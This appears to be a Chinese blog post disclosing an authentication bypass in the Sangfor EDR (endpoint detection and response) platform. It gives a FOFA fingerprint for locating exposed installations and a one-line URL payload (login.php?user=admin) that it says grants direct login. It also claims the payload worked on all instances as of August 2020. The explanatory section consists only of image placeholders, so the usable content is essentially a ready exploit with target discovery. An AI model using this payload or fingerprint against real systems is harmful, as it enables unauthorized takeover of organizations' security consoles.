某信服-SANGFOR终端检测响应平台 – 任意用户登录

  • A+
所属分类:安全文章 安全漏洞

https://www.yuque.com/pmiaowu/hcy2bz/fp4icw

0x01 前言
看大家爆洞爆的很快乐,我也爆一个现在没有的
看源码看到的,我测试的时候还可以打到3.2.19后面的版本我就不知道了
注:2020年08月18日,fofa是通杀,截止到今天我就不清楚情况了。想复现请自己多找几个资产/安装 3.2.19或是之前的版本进行测试
fofa指纹: title="SANGFOR终端检测响应平台"
0x02 漏洞利用
payload: https://ip/ui/login.php?user=随便写一点
例如: https://111.111.11.111:5000/ui/login.php?user=admin
输入完毕以后即可直接登录平台
如下图

image.png

0x03 漏洞解析

在源码的:/web/ui/login.php 文件里面
登录判断的代码有一处让人感觉坑爹的地方

image.png

本文来自

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: